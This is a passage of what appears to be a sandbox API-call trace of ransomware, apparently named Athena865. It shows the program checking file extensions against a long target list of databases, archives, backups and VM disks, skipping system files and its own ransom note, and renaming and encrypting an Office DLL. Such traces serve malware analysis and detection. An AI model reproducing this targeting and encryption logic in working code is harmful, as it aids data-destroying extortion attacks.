lpString2="dcx") returned 1 [0081.688] lstrlenW (lpString="ddl") returned 3 [0081.688] lstrcmpiW (lpString1="DLL", lpString2="ddl") returned 1 [0081.688] lstrlenW (lpString="dlis") returned 4 [0081.688] lstrcmpiW (lpString1=".DLL", lpString2="dlis") returned -1 [0081.688] lstrlenW (lpString="dp1") returned 3 [0081.688] lstrcmpiW (lpString1="DLL", lpString2="dp1") returned -1 [0081.689] lstrlenW (lpString="dqy") returned 3 [0081.689] lstrcmpiW (lpString1="DLL", lpString2="dqy") returned -1 [0081.689] lstrlenW (lpString="dsk") returned 3 [0081.689] lstrcmpiW (lpString1="DLL", lpString2="dsk") returned -1 [0081.689] lstrlenW (lpString="dsn") returned 3 [0081.689] lstrcmpiW (lpString1="DLL", lpString2="dsn") returned -1 [0081.689] lstrlenW (lpString="dtsx") returned 4 [0081.689] lstrcmpiW (lpString1=".DLL", lpString2="dtsx") returned -1 [0081.689] lstrlenW (lpString="dxl") returned 3 [0081.689] lstrcmpiW (lpString1="DLL", lpString2="dxl") returned -1 [0081.689] lstrlenW (lpString="eco") returned 3 [0081.689] lstrcmpiW (lpString1="DLL", lpString2="eco") returned -1 [0081.689] lstrlenW (lpString="ecx") returned 3 [0081.689] lstrcmpiW (lpString1="DLL", lpString2="ecx") returned -1 [0081.689] lstrlenW (lpString="edb") returned 3 [0081.689] lstrcmpiW (lpString1="DLL", lpString2="edb") returned -1 [0081.689] lstrlenW (lpString="epim") returned 4 [0081.689] lstrcmpiW (lpString1=".DLL", lpString2="epim") returned -1 [0081.689] lstrlenW (lpString="fcd") returned 3 [0081.689] lstrcmpiW (lpString1="DLL", lpString2="fcd") returned -1 [0081.689] lstrlenW (lpString="fdb") returned 3 [0081.689] lstrcmpiW (lpString1="DLL", lpString2="fdb") returned -1 [0081.689] lstrlenW (lpString="fic") returned 3 [0081.689] lstrcmpiW (lpString1="DLL", lpString2="fic") returned -1 [0081.689] lstrlenW (lpString="flexolibrary") returned 12 [0081.689] lstrlenW (lpString="fm5") returned 3 [0081.689] lstrcmpiW (lpString1="DLL", lpString2="fm5") returned -1 [0081.689] lstrlenW (lpString="fmp") returned 3 [0081.689] lstrcmpiW (lpString1="DLL", lpString2="fmp") returned -1 [0081.689] lstrlenW (lpString="fmp12") returned 5 [0081.689] lstrcmpiW (lpString1="R.DLL", lpString2="fmp12") returned 1 [0081.689] lstrlenW (lpString="fmpsl") returned 5 [0081.689] lstrcmpiW (lpString1="R.DLL", lpString2="fmpsl") returned 1 [0081.689] lstrlenW (lpString="fol") returned 3 [0081.690] lstrcmpiW (lpString1="DLL", lpString2="fol") returned -1 [0081.690] lstrlenW (lpString="fp3") returned 3 [0081.690] lstrcmpiW (lpString1="DLL", lpString2="fp3") returned -1 [0081.690] lstrlenW (lpString="fp4") returned 3 [0081.690] lstrcmpiW (lpString1="DLL", lpString2="fp4") returned -1 [0081.690] lstrlenW (lpString="fp5") returned 3 [0081.690] lstrcmpiW (lpString1="DLL", lpString2="fp5") returned -1 [0081.690] lstrlenW (lpString="fp7") returned 3 [0081.690] lstrcmpiW (lpString1="DLL", lpString2="fp7") returned -1 [0081.690] lstrlenW (lpString="fpt") returned 3 [0081.690] lstrcmpiW (lpString1="DLL", lpString2="fpt") returned -1 [0081.690] lstrlenW (lpString="frm") returned 3 [0081.690] lstrcmpiW (lpString1="DLL", lpString2="frm") returned -1 [0081.690] lstrlenW (lpString="gdb") returned 3 [0081.690] lstrcmpiW (lpString1="DLL", lpString2="gdb") returned -1 [0081.690] lstrlenW (lpString="gdb") returned 3 [0081.690] lstrcmpiW (lpString1="DLL", lpString2="gdb") returned -1 [0081.690] lstrlenW (lpString="grdb") returned 4 [0081.690] lstrcmpiW (lpString1=".DLL", lpString2="grdb") returned -1 [0081.690] lstrlenW (lpString="gwi") returned 3 [0081.690] lstrcmpiW (lpString1="DLL", lpString2="gwi") returned -1 [0081.690] lstrlenW (lpString="hdb") returned 3 [0081.690] lstrcmpiW (lpString1="DLL", lpString2="hdb") returned -1 [0081.690] lstrlenW (lpString="his") returned 3 [0081.690] lstrcmpiW (lpString1="DLL", lpString2="his") returned -1 [0081.690] lstrlenW (lpString="ib") returned 2 [0081.690] lstrcmpiW (lpString1="LL", lpString2="ib") returned 1 [0081.690] lstrlenW (lpString="idb") returned 3 [0081.690] lstrcmpiW (lpString1="DLL", lpString2="idb") returned -1 [0081.690] lstrlenW (lpString="ihx") returned 3 [0081.690] lstrcmpiW (lpString1="DLL", lpString2="ihx") returned -1 [0081.690] lstrlenW (lpString="itdb") returned 4 [0081.690] lstrcmpiW (lpString1=".DLL", lpString2="itdb") returned -1 [0081.691] lstrlenW (lpString="itw") returned 3 [0081.691] lstrcmpiW (lpString1="DLL", lpString2="itw") returned -1 [0081.691] lstrlenW (lpString="jet") returned 3 [0081.691] lstrcmpiW (lpString1="DLL", lpString2="jet") returned -1 [0081.691] lstrlenW (lpString="jtx") returned 3 [0081.691] lstrcmpiW (lpString1="DLL", lpString2="jtx") returned -1 [0081.691] lstrlenW (lpString="kdb") returned 3 [0081.691] lstrcmpiW (lpString1="DLL", lpString2="kdb") returned -1 [0081.691] lstrlenW (lpString="kexi") returned 4 [0081.691] lstrcmpiW (lpString1=".DLL", lpString2="kexi") returned -1 [0081.691] lstrlenW (lpString="kexic") returned 5 [0081.691] lstrcmpiW (lpString1="R.DLL", lpString2="kexic") returned 1 [0081.691] lstrlenW (lpString="kexis") returned 5 [0081.691] lstrcmpiW (lpString1="R.DLL", lpString2="kexis") returned 1 [0081.691] lstrlenW (lpString="lgc") returned 3 [0081.691] lstrcmpiW (lpString1="DLL", lpString2="lgc") returned -1 [0081.691] lstrlenW (lpString="lwx") returned 3 [0081.691] lstrcmpiW (lpString1="DLL", lpString2="lwx") returned -1 [0081.691] lstrlenW (lpString="maf") returned 3 [0081.691] lstrcmpiW (lpString1="DLL", lpString2="maf") returned -1 [0081.691] lstrlenW (lpString="maq") returned 3 [0081.691] lstrcmpiW (lpString1="DLL", lpString2="maq") returned -1 [0081.691] lstrlenW (lpString="mar") returned 3 [0081.691] lstrcmpiW (lpString1="DLL", lpString2="mar") returned -1 [0081.691] lstrlenW (lpString="marshal") returned 7 [0081.691] lstrcmpiW (lpString1="TER.DLL", lpString2="marshal") returned 1 [0081.691] lstrlenW (lpString="mas") returned 3 [0081.691] lstrcmpiW (lpString1="DLL", lpString2="mas") returned -1 [0081.691] lstrlenW (lpString="mav") returned 3 [0081.691] lstrcmpiW (lpString1="DLL", lpString2="mav") returned -1 [0081.691] lstrlenW (lpString="maw") returned 3 [0081.691] lstrcmpiW (lpString1="DLL", lpString2="maw") returned -1 [0081.692] lstrlenW (lpString="mdbhtml") returned 7 [0081.692] lstrcmpiW (lpString1="TER.DLL", lpString2="mdbhtml") returned 1 [0081.692] lstrlenW (lpString="mdn") returned 3 [0081.692] lstrcmpiW (lpString1="DLL", lpString2="mdn") returned -1 [0081.692] lstrlenW (lpString="mdt") returned 3 [0081.692] lstrcmpiW (lpString1="DLL", lpString2="mdt") returned -1 [0081.692] lstrlenW (lpString="mfd") returned 3 [0081.692] lstrcmpiW (lpString1="DLL", lpString2="mfd") returned -1 [0081.692] lstrlenW (lpString="mpd") returned 3 [0081.692] lstrcmpiW (lpString1="DLL", lpString2="mpd") returned -1 [0081.692] lstrlenW (lpString="mrg") returned 3 [0081.692] lstrcmpiW (lpString1="DLL", lpString2="mrg") returned -1 [0081.692] lstrlenW (lpString="mud") returned 3 [0081.692] lstrcmpiW (lpString1="DLL", lpString2="mud") returned -1 [0081.692] lstrlenW (lpString="mwb") returned 3 [0081.692] lstrcmpiW (lpString1="DLL", lpString2="mwb") returned -1 [0081.692] lstrlenW (lpString="myd") returned 3 [0081.692] lstrcmpiW (lpString1="DLL", lpString2="myd") returned -1 [0081.692] lstrlenW (lpString="ndf") returned 3 [0081.692] lstrcmpiW (lpString1="DLL", lpString2="ndf") returned -1 [0081.692] lstrlenW (lpString="nnt") returned 3 [0081.692] lstrcmpiW (lpString1="DLL", lpString2="nnt") returned -1 [0081.692] lstrlenW (lpString="nrmlib") returned 6 [0081.692] lstrcmpiW (lpString1="ER.DLL", lpString2="nrmlib") returned -1 [0081.692] lstrlenW (lpString="ns2") returned 3 [0081.692] lstrcmpiW (lpString1="DLL", lpString2="ns2") returned -1 [0081.692] lstrlenW (lpString="ns3") returned 3 [0081.692] lstrcmpiW (lpString1="DLL", lpString2="ns3") returned -1 [0081.692] lstrlenW (lpString="ns4") returned 3 [0081.692] lstrcmpiW (lpString1="DLL", lpString2="ns4") returned -1 [0081.692] lstrlenW (lpString="nsf") returned 3 [0081.692] lstrcmpiW (lpString1="DLL", lpString2="nsf") returned -1 [0081.692] lstrlenW (lpString="nv") returned 2 [0081.693] lstrcmpiW (lpString1="LL", lpString2="nv") returned -1 [0081.693] lstrlenW (lpString="nv2") returned 3 [0081.693] lstrcmpiW (lpString1="DLL", lpString2="nv2") returned -1 [0081.693] lstrlenW (lpString="nwdb") returned 4 [0081.693] lstrcmpiW (lpString1=".DLL", lpString2="nwdb") returned -1 [0081.693] lstrlenW (lpString="nyf") returned 3 [0081.693] lstrcmpiW (lpString1="DLL", lpString2="nyf") returned -1 [0081.693] lstrlenW (lpString="odb") returned 3 [0081.693] lstrcmpiW (lpString1="DLL", lpString2="odb") returned -1 [0081.693] lstrlenW (lpString="odb") returned 3 [0081.693] lstrcmpiW (lpString1="DLL", lpString2="odb") returned -1 [0081.693] lstrlenW (lpString="oqy") returned 3 [0081.693] lstrcmpiW (lpString1="DLL", lpString2="oqy") returned -1 [0081.693] lstrlenW (lpString="ora") returned 3 [0081.693] lstrcmpiW (lpString1="DLL", lpString2="ora") returned -1 [0081.693] lstrlenW (lpString="orx") returned 3 [0081.693] lstrcmpiW (lpString1="DLL", lpString2="orx") returned -1 [0081.693] lstrlenW (lpString="owc") returned 3 [0081.693] lstrcmpiW (lpString1="DLL", lpString2="owc") returned -1 [0081.693] lstrlenW (lpString="p96") returned 3 [0081.693] lstrcmpiW (lpString1="DLL", lpString2="p96") returned -1 [0081.693] lstrlenW (lpString="p97") returned 3 [0081.693] lstrcmpiW (lpString1="DLL", lpString2="p97") returned -1 [0081.693] lstrlenW (lpString="pan") returned 3 [0081.693] lstrcmpiW (lpString1="DLL", lpString2="pan") returned -1 [0081.693] lstrlenW (lpString="pdb") returned 3 [0081.693] lstrcmpiW (lpString1="DLL", lpString2="pdb") returned -1 [0081.693] lstrlenW (lpString="pdm") returned 3 [0081.693] lstrcmpiW (lpString1="DLL", lpString2="pdm") returned -1 [0081.693] lstrlenW (lpString="pnz") returned 3 [0081.693] lstrcmpiW (lpString1="DLL", lpString2="pnz") returned -1 [0081.693] lstrlenW (lpString="qry") returned 3 [0081.693] lstrcmpiW (lpString1="DLL", lpString2="qry") returned -1 [0081.693] lstrlenW (lpString="qvd") returned 3 [0081.693] lstrcmpiW (lpString1="DLL", lpString2="qvd") returned -1 [0081.694] lstrlenW (lpString="rbf") returned 3 [0081.694] lstrcmpiW (lpString1="DLL", lpString2="rbf") returned -1 [0081.694] lstrlenW (lpString="rctd") returned 4 [0081.694] lstrcmpiW (lpString1=".DLL", lpString2="rctd") returned -1 [0081.694] lstrlenW (lpString="rod") returned 3 [0081.694] lstrcmpiW (lpString1="DLL", lpString2="rod") returned -1 [0081.694] lstrlenW (lpString="rodx") returned 4 [0081.694] lstrcmpiW (lpString1=".DLL", lpString2="rodx") returned -1 [0081.694] lstrlenW (lpString="rpd") returned 3 [0081.694] lstrcmpiW (lpString1="DLL", lpString2="rpd") returned -1 [0081.694] lstrlenW (lpString="rsd") returned 3 [0081.694] lstrcmpiW (lpString1="DLL", lpString2="rsd") returned -1 [0081.694] lstrlenW (lpString="sas7bdat") returned 8 [0081.694] lstrcmpiW (lpString1="LTER.DLL", lpString2="sas7bdat") returned -1 [0081.694] lstrlenW (lpString="sbf") returned 3 [0081.694] lstrcmpiW (lpString1="DLL", lpString2="sbf") returned -1 [0081.694] lstrlenW (lpString="scx") returned 3 [0081.694] lstrcmpiW (lpString1="DLL", lpString2="scx") returned -1 [0081.694] lstrlenW (lpString="sdb") returned 3 [0081.694] lstrcmpiW (lpString1="DLL", lpString2="sdb") returned -1 [0081.694] lstrlenW (lpString="sdc") returned 3 [0081.694] lstrcmpiW (lpString1="DLL", lpString2="sdc") returned -1 [0081.694] lstrlenW (lpString="sdf") returned 3 [0081.694] lstrcmpiW (lpString1="DLL", lpString2="sdf") returned -1 [0081.694] lstrlenW (lpString="sis") returned 3 [0081.694] lstrcmpiW (lpString1="DLL", lpString2="sis") returned -1 [0081.694] lstrlenW (lpString="spq") returned 3 [0081.694] lstrcmpiW (lpString1="DLL", lpString2="spq") returned -1 [0081.694] lstrlenW (lpString="te") returned 2 [0081.694] lstrcmpiW (lpString1="LL", lpString2="te") returned -1 [0081.694] lstrlenW (lpString="teacher") returned 7 [0081.694] lstrcmpiW (lpString1="TER.DLL", lpString2="teacher") returned 1 [0081.694] lstrlenW (lpString="tmd") returned 3 [0081.695] lstrcmpiW (lpString1="DLL", lpString2="tmd") returned -1 [0081.695] lstrlenW (lpString="tps") returned 3 [0081.695] lstrcmpiW (lpString1="DLL", lpString2="tps") returned -1 [0081.695] lstrlenW (lpString="trc") returned 3 [0081.695] lstrcmpiW (lpString1="DLL", lpString2="trc") returned -1 [0081.695] lstrlenW (lpString="trc") returned 3 [0081.695] lstrcmpiW (lpString1="DLL", lpString2="trc") returned -1 [0081.695] lstrlenW (lpString="trm") returned 3 [0081.695] lstrcmpiW (lpString1="DLL", lpString2="trm") returned -1 [0081.695] lstrlenW (lpString="udb") returned 3 [0081.695] lstrcmpiW (lpString1="DLL", lpString2="udb") returned -1 [0081.695] lstrlenW (lpString="udl") returned 3 [0081.695] lstrcmpiW (lpString1="DLL", lpString2="udl") returned -1 [0081.695] lstrlenW (lpString="usr") returned 3 [0081.695] lstrcmpiW (lpString1="DLL", lpString2="usr") returned -1 [0081.695] lstrlenW (lpString="v12") returned 3 [0081.695] lstrcmpiW (lpString1="DLL", lpString2="v12") returned -1 [0081.695] lstrlenW (lpString="vis") returned 3 [0081.695] lstrcmpiW (lpString1="DLL", lpString2="vis") returned -1 [0081.695] lstrlenW (lpString="vpd") returned 3 [0081.695] lstrcmpiW (lpString1="DLL", lpString2="vpd") returned -1 [0081.695] lstrlenW (lpString="vvv") returned 3 [0081.695] lstrcmpiW (lpString1="DLL", lpString2="vvv") returned -1 [0081.695] lstrlenW (lpString="wdb") returned 3 [0081.695] lstrcmpiW (lpString1="DLL", lpString2="wdb") returned -1 [0081.695] lstrlenW (lpString="wmdb") returned 4 [0081.695] lstrcmpiW (lpString1=".DLL", lpString2="wmdb") returned -1 [0081.695] lstrlenW (lpString="wrk") returned 3 [0081.695] lstrcmpiW (lpString1="DLL", lpString2="wrk") returned -1 [0081.695] lstrlenW (lpString="xdb") returned 3 [0081.695] lstrcmpiW (lpString1="DLL", lpString2="xdb") returned -1 [0081.695] lstrlenW (lpString="xld") returned 3 [0081.695] lstrcmpiW (lpString1="DLL", lpString2="xld") returned -1 [0081.696] lstrlenW (lpString="xmlff") returned 5 [0081.696] lstrcmpiW (lpString1="R.DLL", lpString2="xmlff") returned -1 [0081.696] wsprintfW (in: param_1=0x241d508, param_2="%s.%s" | out: param_1="C:\\Program Files\\Microsoft Office\\Office14\\ONFILTER.DLL.Athena865") returned 65 [0081.696] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Office14\\ONFILTER.DLL" (normalized: "c:\\program files\\microsoft office\\office14\\onfilter.dll"), lpNewFileName="C:\\Program Files\\Microsoft Office\\Office14\\ONFILTER.DLL.Athena865" (normalized: "c:\\program files\\microsoft office\\office14\\onfilter.dll.athena865"), dwFlags=0x1) returned 1 [0081.696] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\ONFILTER.DLL.Athena865" (normalized: "c:\\program files\\microsoft office\\office14\\onfilter.dll.athena865"), dwDesiredAccess=0xc00e0000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x8a000080, hTemplateFile=0x0) returned 0x17c [0081.697] GetFileSizeEx (in: hFile=0x17c, lpFileSize=0x241e418 | out: lpFileSize=0x241e418*=1583472) returned 1 [0081.697] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x200300) returned 0x2b40020 [0081.697] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x6c) returned 0x5391d0 [0081.697] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x80) returned 0x519090 [0081.697] CryptAcquireContextW (in: phProv=0x241d1c4, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x241d1c4*=0x519008) returned 1 [0081.698] CryptGenRandom (in: hProv=0x519008, dwLen=0x80, pbBuffer=0x241d1d8 | out: pbBuffer=0x241d1d8) returned 1 [0081.698] CryptReleaseContext (hProv=0x519008, dwFlags=0x0) returned 1 [0081.698] CreateFileMappingW (hFile=0x17c, lpFileMappingAttributes=0x0, flProtect=0x4, dwMaximumSizeHigh=0x0, dwMaximumSizeLow=0x182c70, lpName=0x0) returned 0x154 [0081.700] MapViewOfFile (hFileMappingObject=0x154, dwDesiredAccess=0x6, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0x182c70) returned 0x2d50000 [0081.763] CryptAcquireContextW (in: phProv=0x241d174, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x241d174*=0x519008) returned 1 [0081.764] CryptGenRandom (in: hProv=0x519008, dwLen=0x80, pbBuffer=0x241d188 | out: pbBuffer=0x241d188) returned 1 [0081.764] CryptReleaseContext (hProv=0x519008, dwFlags=0x0) returned 1 [0081.764] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x6c) returned 0x539248 [0081.764] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x539248 | out: hHeap=0x4f0000) returned 1 [0081.764] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x100) returned 0x52ba90 [0081.764] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x104) returned 0x530d20 [0081.764] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x52ba90 | out: hHeap=0x4f0000) returned 1 [0081.764] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x104) returned 0x530e38 [0081.764] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x208) returned 0x52ba90 [0081.765] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x530e38 | out: hHeap=0x4f0000) returned 1 [0081.765] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x52ba90 | out: hHeap=0x4f0000) returned 1 [0081.765] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x530d20 | out: hHeap=0x4f0000) returned 1 [0081.765] UnmapViewOfFile (lpBaseAddress=0x2d50000) returned 1 [0081.778] CloseHandle (hObject=0x154) returned 1 [0081.779] CloseHandle (hObject=0x17c) returned 1 [0081.779] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x5391d0 | out: hHeap=0x4f0000) returned 1 [0081.779] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x519090 | out: hHeap=0x4f0000) returned 1 [0081.779] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x2b40020 | out: hHeap=0x4f0000) returned 1 [0081.785] FindNextFileW (in: hFindFile=0x529410, lpFindFileData=0x241e5f8 | out: lpFindFileData=0x241e5f8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xeb7e9d00, ftCreationTime.dwHighDateTime=0x1cacf2a, ftLastAccessTime.dwLowDateTime=0x6bf68e10, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xeb7e9d00, ftLastWriteTime.dwHighDateTime=0x1cacf2a, nFileSizeHigh=0x0, nFileSizeLow=0x135a0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="ONLNTCOMLIB.DLL", cAlternateFileName="ONLNTC~1.DLL")) returned 1 [0081.785] lstrcmpiW (lpString1="ONLNTCOMLIB.DLL", lpString2="HOW TO BACK YOUR FILES.exe") returned 1 [0081.785] lstrcmpiW (lpString1="ONLNTCOMLIB.DLL", lpString2="CUsersGustavoDesktopAthena865.exe") returned 1 [0081.785] lstrcmpiW (lpString1="ONLNTCOMLIB.DLL", lpString2=".") returned 1 [0081.785] lstrcmpiW (lpString1="ONLNTCOMLIB.DLL", lpString2="..") returned 1 [0081.785] lstrcmpiW (lpString1="ONLNTCOMLIB.DLL", lpString2="windows") returned -1 [0081.785] lstrcmpiW (lpString1="ONLNTCOMLIB.DLL", lpString2="bootmgr") returned 1 [0081.785] lstrcmpiW (lpString1="ONLNTCOMLIB.DLL", lpString2="temp") returned -1 [0081.785] lstrcmpiW (lpString1="ONLNTCOMLIB.DLL", lpString2="pagefile.sys") returned -1 [0081.786] lstrcmpiW (lpString1="ONLNTCOMLIB.DLL", lpString2="boot") returned 1 [0081.786] lstrcmpiW (lpString1="ONLNTCOMLIB.DLL", lpString2="ids.txt") returned 1 [0081.786] lstrcmpiW (lpString1="ONLNTCOMLIB.DLL", lpString2="ntuser.dat") returned 1 [0081.786] lstrcmpiW (lpString1="ONLNTCOMLIB.DLL", lpString2="perflogs") returned -1 [0081.786] lstrcmpiW (lpString1="ONLNTCOMLIB.DLL", lpString2="MSBuild") returned 1 [0081.786] lstrlenW (lpString="ONLNTCOMLIB.DLL") returned 15 [0081.786] lstrcpyW (in: lpString1=0x241e89e, lpString2="ONLNTCOMLIB.DLL" | out: lpString1="ONLNTCOMLIB.DLL") returned="ONLNTCOMLIB.DLL" [0081.786] lstrlenW (lpString="ONLNTCOMLIB.DLL") returned 15 [0081.786] lstrlenW (lpString="Athena865") returned 9 [0081.786] lstrcmpiW (lpString1="OMLIB.DLL", lpString2="Athena865") returned 1 [0081.786] lstrlenW (lpString=".dll") returned 4 [0081.786] lstrcmpiW (lpString1="ONLNTCOMLIB.DLL", lpString2=".dll") returned 1 [0081.786] lstrlenW (lpString=".lnk") returned 4 [0081.786] lstrcmpiW (lpString1="ONLNTCOMLIB.DLL", lpString2=".lnk") returned 1 [0081.786] lstrlenW (lpString=".ini") returned 4 [0081.786] lstrcmpiW (lpString1="ONLNTCOMLIB.DLL", lpString2=".ini") returned 1 [0081.786] lstrlenW (lpString=".sys") returned 4 [0081.786] lstrcmpiW (lpString1="ONLNTCOMLIB.DLL", lpString2=".sys") returned 1 [0081.786] lstrlenW (lpString="ONLNTCOMLIB.DLL") returned 15 [0081.786] lstrlenW (lpString="bak") returned 3 [0081.786] lstrcmpiW (lpString1="DLL", lpString2="bak") returned 1 [0081.786] lstrlenW (lpString="ba_") returned 3 [0081.786] lstrcmpiW (lpString1="DLL", lpString2="ba_") returned 1 [0081.786] lstrlenW (lpString="dbb") returned 3 [0081.786] lstrcmpiW (lpString1="DLL", lpString2="dbb") returned 1 [0081.786] lstrlenW (lpString="vmdk") returned 4 [0081.786] lstrcmpiW (lpString1=".DLL", lpString2="vmdk") returned -1 [0081.786] lstrlenW (lpString="rar") returned 3 [0081.786] lstrcmpiW (lpString1="DLL", lpString2="rar") returned -1 [0081.786] lstrlenW (lpString="zip") returned 3 [0081.786] lstrcmpiW (lpString1="DLL", lpString2="zip") returned -1 [0081.786] lstrlenW (lpString="tgz") returned 3 [0081.786] lstrcmpiW (lpString1="DLL", lpString2="tgz") returned -1 [0081.786] lstrlenW (lpString="vbox") returned 4 [0081.787] lstrcmpiW (lpString1=".DLL", lpString2="vbox") returned -1 [0081.787] lstrlenW (lpString="vdi") returned 3 [0081.787] lstrcmpiW (lpString1="DLL", lpString2="vdi") returned -1 [0081.787] lstrlenW (lpString="vhd") returned 3 [0081.787] lstrcmpiW (lpString1="DLL", lpString2="vhd") returned -1 [0081.787] lstrlenW (lpString="vhdx") returned 4 [0081.787] lstrcmpiW (lpString1=".DLL", lpString2="vhdx") returned -1 [0081.787] lstrlenW (lpString="avhd") returned 4 [0081.787] lstrcmpiW (lpString1=".DLL", lpString2="avhd") returned -1 [0081.787] lstrlenW (lpString="db") returned 2 [0081.787] lstrcmpiW (lpString1="LL", lpString2="db") returned 1 [0081.787] lstrlenW (lpString="db2") returned 3 [0081.787] lstrcmpiW (lpString1="DLL", lpString2="db2") returned 1 [0081.787] lstrlenW (lpString="db3") returned 3 [0081.787] lstrcmpiW (lpString1="DLL", lpString2="db3") returned 1 [0081.787] lstrlenW (lpString="dbf") returned 3 [0081.787] lstrcmpiW (lpString1="DLL", lpString2="dbf") returned 1 [0081.787] lstrlenW (lpString="mdf") returned 3 [0081.787] lstrcmpiW (lpString1="DLL", lpString2="mdf") returned -1 [0081.787] lstrlenW (lpString="mdb") returned 3 [0081.787] lstrcmpiW (lpString1="DLL", lpString2="mdb") returned -1 [0081.787] lstrlenW (lpString="sql") returned 3 [0081.787] lstrcmpiW (lpString1="DLL", lpString2="sql") returned -1 [0081.787] lstrlenW (lpString="sqlite") returned 6 [0081.787] lstrcmpiW (lpString1="IB.DLL", lpString2="sqlite") returned -1 [0081.787] lstrlenW (lpString="sqlite3") returned 7 [0081.787] lstrcmpiW (lpString1="LIB.DLL", lpString2="sqlite3") returned -1 [0081.787] lstrlenW (lpString="sqlitedb") returned 8 [0081.787] lstrcmpiW (lpString1="MLIB.DLL", lpString2="sqlitedb") returned -1 [0081.787] lstrlenW (lpString="xml") returned 3 [0081.787] lstrcmpiW (lpString1="DLL", lpString2="xml") returned -1 [0081.787] lstrlenW (lpString="$er") returned 3 [0081.787] lstrcmpiW (lpString1="DLL", lpString2="$er") returned 1 [0081.788] lstrlenW (lpString="4dd") returned 3 [0081.788] lstrcmpiW (lpString1="DLL", lpString2="4dd") returned 1 [0081.788] lstrlenW (lpString="4dl") returned 3 [0081.788] lstrcmpiW (lpString1="DLL", lpString2="4dl") returned 1 [0081.788] lstrlenW (lpString="^^^") returned 3 [0081.788] lstrcmpiW (lpString1="DLL", lpString2="^^^") returned 1 [0081.788] lstrlenW (lpString="abs") returned 3 [0081.788] lstrcmpiW (lpString1="DLL", lpString2="abs") returned 1 [0081.788] lstrlenW (lpString="abx") returned 3 [0081.788] lstrcmpiW (lpString1="DLL", lpString2="abx") returned 1 [0081.788] lstrlenW (lpString="accdb") returned 5 [0081.788] lstrcmpiW (lpString1="B.DLL", lpString2="accdb") returned 1 [0081.788] lstrlenW (lpString="accdc") returned 5 [0081.788] lstrcmpiW (lpString1="B.DLL", lpString2="accdc") returned 1 [0081.788] lstrlenW (lpString="accde") returned 5 [0081.788] lstrcmpiW (lpString1="B.DLL", lpString2="accde") returned 1 [0081.788] lstrlenW (lpString="accdr") returned 5 [0081.788] lstrcmpiW (lpString1="B.DLL", lpString2="accdr") returned 1 [0081.788] lstrlenW (lpString="accdt") returned 5 [0081.788] lstrcmpiW (lpString1="B.DLL", lpString2="accdt") returned 1 [0081.788] lstrlenW (lpString="accdw") returned 5 [0081.788] lstrcmpiW (lpString1="B.DLL", lpString2="accdw") returned 1 [0081.788] lstrlenW (lpString="accft") returned 5 [0081.788] lstrcmpiW (lpString1="B.DLL", lpString2="accft") returned 1 [0081.788] lstrlenW (lpString="adb") returned 3 [0081.788] lstrcmpiW (lpString1="DLL", lpString2="adb") returned 1 [0081.788] lstrlenW (lpString="adb") returned 3 [0081.788] lstrcmpiW (lpString1="DLL", lpString2="adb") returned 1 [0081.788] lstrlenW (lpString="ade") returned 3 [0081.788] lstrcmpiW (lpString1="DLL", lpString2="ade") returned 1 [0081.788] lstrlenW (lpString="adf") returned 3 [0081.788] lstrcmpiW (lpString1="DLL", lpString2="adf") returned 1 [0081.788] lstrlenW (lpString="adn") returned 3 [0081.788] lstrcmpiW (lpString1="DLL", lpString2="adn") returned 1 [0081.789] lstrlenW (lpString="adp") returned 3 [0081.789] lstrcmpiW (lpString1="DLL", lpString2="adp") returned 1 [0081.789] lstrlenW (lpString="alf") returned 3 [0081.789] lstrcmpiW (lpString1="DLL", lpString2="alf") returned 1 [0081.789] lstrlenW (lpString="ask") returned 3 [0081.789] lstrcmpiW (lpString1="DLL", lpString2="ask") returned 1 [0081.789] lstrlenW (lpString="btr") returned 3 [0081.789] lstrcmpiW (lpString1="DLL", lpString2="btr") returned 1 [0081.789] lstrlenW (lpString="cat") returned 3 [0081.789] lstrcmpiW (lpString1="DLL", lpString2="cat") returned 1 [0081.789] lstrlenW (lpString="cdb") returned 3 [0081.789] lstrcmpiW (lpString1="DLL", lpString2="cdb") returned 1 [0081.789] lstrlenW (lpString="ckp") returned 3 [0081.789] lstrcmpiW (lpString1="DLL", lpString2="ckp") returned 1 [0081.789] lstrlenW (lpString="cma") returned 3 [0081.789] lstrcmpiW (lpString1="DLL", lpString2="cma") returned 1 [0081.789] lstrlenW (lpString="cpd") returned 3 [0081.789] lstrcmpiW (lpString1="DLL", lpString2="cpd") returned 1 [0081.789] lstrlenW (lpString="dacpac") returned 6 [0081.789] lstrcmpiW (lpString1="IB.DLL", lpString2="dacpac") returned 1 [0081.789] lstrlenW (lpString="dad") returned 3 [0081.789] lstrcmpiW (lpString1="DLL", lpString2="dad") returned 1 [0081.789] lstrlenW (lpString="dadiagrams") returned 10 [0081.789] lstrcmpiW (lpString1="COMLIB.DLL", lpString2="dadiagrams") returned -1 [0081.789] lstrlenW (lpString="daschema") returned 8 [0081.789] lstrcmpiW (lpString1="MLIB.DLL", 